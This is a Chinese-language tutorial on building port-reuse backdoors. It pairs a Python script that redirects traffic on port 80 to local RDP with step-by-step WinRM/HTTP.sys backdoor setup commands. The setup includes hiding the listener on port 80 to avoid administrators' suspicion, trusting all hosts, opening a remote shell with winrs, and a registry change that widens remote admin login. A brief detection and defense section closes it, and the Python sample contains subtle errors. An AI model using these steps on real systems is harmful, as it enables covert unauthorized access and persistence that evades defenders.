端口復用后門
一. 端口復用
1.1 端口復用場景條件
- server只對外開放指定端口,無法向外進行端口轉發
- 躲避防火牆
- 內網滲透(當機器在內網,IP端口在外不可直接連接,只是通過出口防火牆向外映射指定端口。可通過端口復用直連內網)
1.2 類型
1.2.1 端口重定向
即本地建立2個套接字sock1、sock2,sock1監聽80端口,sock2監聽其它端口。當有80的連接時,sock1將接收到的數據進行判斷,如果是http數據則處理,如果是其它數據則將其轉發到sock2的端口。
1.2.2 端口復用
在本地建立一個監聽和本地開放一樣的端口如80端口,當有連接來到時,判斷是否是自己的數據包,如果是則處理數據,否則不處理,交給源程序。
1.3 原理
端口重定向只是利用了本地環回地址127.0.0.1轉發接收外來數據,端口復用只是利用了socket的相關特性。
示例代碼:
s = socket(AF_INET,SOCK_STREAM,0);
setsockopt(s,SOL_SOCKET,SO_REUSEADDR,&buf,1));
server.sin_family=AF_INET;
server.sin_port=htons(80);
server.sin_addr.s_addr=htonl(“127.0.0.1”);
在端口復用技術中最重要的一個函數是setsockopt(),這個函數就決定了端口的重綁定問題。
setsockopt()函數,用於任意類型、任意狀態套接口的設置選項值。盡管在不同協議層上存在選項,但本函數僅定義了最高的“套接口”層次上的選項。
在缺省條件下,一個套接口不能與一個已在使用中的本地地址捆綁(bind()))。但有時會需要“重用”地址。因為每一個連接都由本地地址和遠端地址的組合唯一確定,所以只要遠端地址不同,兩個套接口與一個地址捆綁並無大礙。為了通知套接口實現不要因為一個地址已被一個套接口使用就不讓它與另一個套接口捆綁,應用程序可在bind()調用前先設置SO_REUSEADDR選項。請注意僅在bind()調用時該選項才被解釋;故此無需(但也無害)將一個不會共用地址的套接口設置該選項,或者在bind()對這個或其他套接口無影響情況下設置或清除這一選項。
我們這里要使用的是socket中的SO_REUSEADDR,下面是它的解釋。
SO_REUSEADDR 提供如下四個功能:
SO_REUSEADDR:允許啟動一個監聽服務器並捆綁其眾所周知端口,即使以前建立的將此端口用做他們的本地端口的連接仍存在。這通常是重啟監聽服務器時出現,若不設置此選項,則bind時將出錯。
SO_REUSEADDR:允許在同一端口上啟動同一服務器的多個實例,只要每個實例捆綁一個不同的本地IP地址即可。對於TCP,我們根本不可能啟動捆綁相同IP地址和相同端口號的多個服務器。
SO_REUSEADDR:允許單個進程捆綁同一端口到多個套接口上,只要每個捆綁指定不同的本地IP地址即可。這一般不用於TCP服務器。
SO_REUSEADDR:允許完全重復的捆綁:當一個IP地址和端口綁定到某個套接口上時,還允許此IP地址和端口捆綁到另一個套接口上。一般來說,這個特性僅在支持多播的系統上才有,而且只對UDP套接口而言(TCP不支持多播)。
一般地,我們需要設置socket為非阻塞模式,緣由如果我們是阻塞模式,有可能會導致原有占用端口服務無法使用或自身程序無法使用,由此可見,端口復用使用非阻塞模式是比較保險的。
然而理論事實是需要檢驗的,當有些端口設置非阻塞時,緣由它的數據傳輸連續性,可能會導致數據接收異常或者無法接收到數據情況,非阻塞對於短暫型連接影響不大,但對持久性連接可能會有影響,比如3389端口的轉發復用,所以使用非阻塞需要視端口情況而定。
此方法目前對Apache和IIS5.0及以下版本有效
1.3.1 利用
端口重定向
目的: 原先存在80端口,希望22,23,3389復用80端口。
原理:
(1) 外部IP連接本地IP: 192.168.1.2 => 192.168.2.1:80 => 127.0.0.1:3389
(2) 本地IP轉向外部IP: 127.0.0.1:3389 => 192.168.2.1:80 => 192.168.1.2
首先外部IP(192.168.2.1)連接本地IP(192.168.1.1)的80端口,由於本地IP(192.168.1.1)端口復用綁定了80端口,所以復用綁定端口監聽到了外部IP(192.168.2.1)地址流量,判斷是否為HTTP流量,如果是則發送回本地80端口,否則本地IP(192.168.1.1)地址連接本地ip(127.0.0.1)的3389端口,從本地IP(127.0.0.1)端口3389獲取到的流量由本地IP(192.168.1.1)地址發送到外部IP(192.168.2.1)地址上,這個過程就完成了整個端口復用重定向。
代碼:
#coding=utf-8
import socket
import sys
import select
host='192.168.1.8'
port=80
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.setsockopt( socket.SOL_SOCKET, socket.SO_REUSEADDR, 1 )
s.bind((host,port))
s.listen(10)
S1=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
S1.connect(('127.0.0.1',3389))
print "Start Listen 80 =>3389....."
while 1:
infds,outfds,errfds=select.select([s,],[],[],5) #轉發3389需去除
if len(infds)!=0:#轉發3389需去除
conn,(addr,port)=s.accept()
print '[*] connected from ',addr,port
data=conn.recv(4096)
S1.send(data)
recv_data=s1.recv(4096)
conn.send(recv_data)
print '[-] connected down',
S1.close()
s.close()
端口復用
目的:原先存在80端口,並且監聽80端口,需要復用80端口為23(其他任意)端口
原理:
外部IP:192.168.2.1=>192.168.1.1:80=>run(data)
內部IP:return(data)=>192.168.1.1:80=>192.168.2.1
端口復用的原理是與源端口占用程序監聽同一端口,當復用端口有數據來時,我們可以判斷是否是自己的數據包,如果是自己的,那么就自己處理,否則把數據包交給源端口占用程序處理。
二. HTTP.sys端口復用后門
2.1 簡介
該后門的基本原理是使用Windows的遠程管理服務WinRM,組合HTTP.sys驅動自帶的端口復用功能,一起實現端口復用后門。
HTTP.sys驅動是IIS的主要組成部分,主要負責HTTP協議相關的處理,它有一個重要的功能叫Port Sharing,即端口共享。所有基於HTTP.sys驅動的HTTP應用可以共享同一個端口,只需要各自注冊的url前綴不一樣即可。
Net.TCP Port Sharing服務是WCF(Windows Communication Foundation)中的一個新的系統組件,這個服務會開啟net.tcp 端口共享功能以達到在用戶的不同進程之間實現端口共享。這個機制的最終是在HTTP.sys中實現的,目前將許多不同HTTP應用程序的流量復用到單個TCP端口上的HTTP.SYS模型已經成為Windows平台上的標准配置。這為防火牆管理員提供了一個共同的控制點,同時允許應用程序開發人員最小化構建可利用網絡新應用程序的部署成本。跨多個 HTTP應用程序共享端口的功能一直是Internet信息服務(IIS)的一項功能。實際上,HTTP.SYS允許任意用戶進程共享專用於HTTP流量的TCP端口。
HTTP.sys是在Windows Server 2003最開始引進的,這個驅動監聽HTTP流量,然后根據URL注冊的情況去分發,這樣多個進程可以在同一個端口監聽HTTP流量
匹配過程:
- 當IIS或者其他的應用使用HTTP Server API去監聽請求路徑的時候,這些應用需要在HTTP.SYS上面注冊url prefix ,關於注冊URL的規則。
- 當一個請求到來並被http.sys獲取到,它需要分發這個請求給注冊當前url對應的應用,這是路由的過程。
使用 netsh http show servicestate
命令可以查看所有在HTTP.sys上注冊過的url前綴。
實際上,WinRM就是在HTTP.sys上注冊了wsman的URL前綴,默認監聽端口5985。這點從微軟公布的WinRM的架構圖也可以看出來。
因此,在安裝了IIS的邊界Windows服務器上,開啟WinRM服務后修改默認listener端口為80或新增一個80端口的listener即可實現端口復用,可以直接通過Web端口登錄Windows服務器。
2.2 后門配置
步驟:
- 開啟WinRM服務
- 新增80端口Listerner
- 修改WinRM端口
2.2.1 開啟WinRM服務
Windows Server 2012及以上,已經默認開啟WinRM並監聽了5985端口
Windows Server 2008及一下,使用 winrm quickconfig -q
命令開啟WinRM並自動從防火牆放行5985端口。
winrm使用端口:http 5985 https 5986
2.2.2 新增80端口Listener
對於原本就開放了WinRM的機器(Server 2012),需要保留該端口,以免影響系統管理員正常使用,同時還需要新增一個80端口的Listener供攻擊者使用。
winrm set winrm/config/service @{EnableCompatibilityHttpListener="true"}
即Windows Server 2012,只需要執行上述命令即可實現端口復用。
此時使用netsh http show servicestate
查看可以看到,http.sys新注冊了一條url前綴:
2.2.3 修改WinRM端口
對於原本未開放WinRM服務的機器(Server 2008),需要把新開的5985端口修改至80端口,避免引起系統管理員懷疑。
winrm set winrm/config/Listener?Address=*+Transport=HTTP @{Port="80"}
即Windows Server 2008,需要開啟WinRM服務后,使用上述命令修改端口即可實現端口復用。
2.3 后門連接和使用
首先開啟本機WinRM服務,然后設置信任連接的主機
winrm quickconfig -q # 開啟服務
winrm set winrm/config/Client @{TrustedHosts="*"} # 設置信任連接的主機
然后執行使用winrs命令連接遠程WinRM服務即可執行命令。
winrs -r:http://www.baidu.com -u:administrator -p:P@ssw0rd whoami
上述會在遠程主機執行whoami命令。使用cmd替換whoami即可得到一個交互式shell。
注意:
此時會在目標主機安全日志中產生登錄類型為 3
的登錄記錄, 此次登錄的登錄事件順序為:"憑據驗證" -> "特殊登錄" -> "登錄(4624)" -> "注銷(4634)"
登錄事件展開:
2.4 UAC問題
WinRM服務也是受UAC影響的,所以本地管理員用戶組里面只有administrator可以登錄,其他管理員用戶是沒法遠程登錄WinRM的。要允許本地管理員組的其他用戶登錄WinRM,需要修改注冊表設置。
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f
修改后使用管理員組用戶即可登錄WinRM。
2.5 Hash登錄
系統自帶的winrs命令登錄時需要使用明文賬號密碼,那很多場景下尤其是windows 2012以后,經常只能抓取到本地用戶的hash,無法輕易獲得明文密碼。因此需要實現一款支持使用NTLM hash登錄的客戶端,使用python來實現不難。
2.6 防御:
- 防火牆/IDS/IPS與web服務器配合使用,在其規則中采用白名單機制去判斷是否屬於web服務器當前允許的ACL URL。
2.7 檢測
可以在服務和應用程序
中查找是否存在Windows Remote Management (WS-Management)
,存在則證明WinRM服務已經開啟(此時已經可以通過winrm監聽的端口遠程連接主機)。
可執行netsh http show servicestate
命令,找到輸出結果中注冊的url前綴為WSMAN
的端口,然后執行winrm e winrm/config/listener
命令獲取winrm端口(HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\WSMAN\\Listener\\
),比較結果,如果有重合,則證明存在http.sys端口復用問題。
三. Refer
https://www.codeproject.com/Articles/437733/Demystify-http-sys-with-HttpSysManager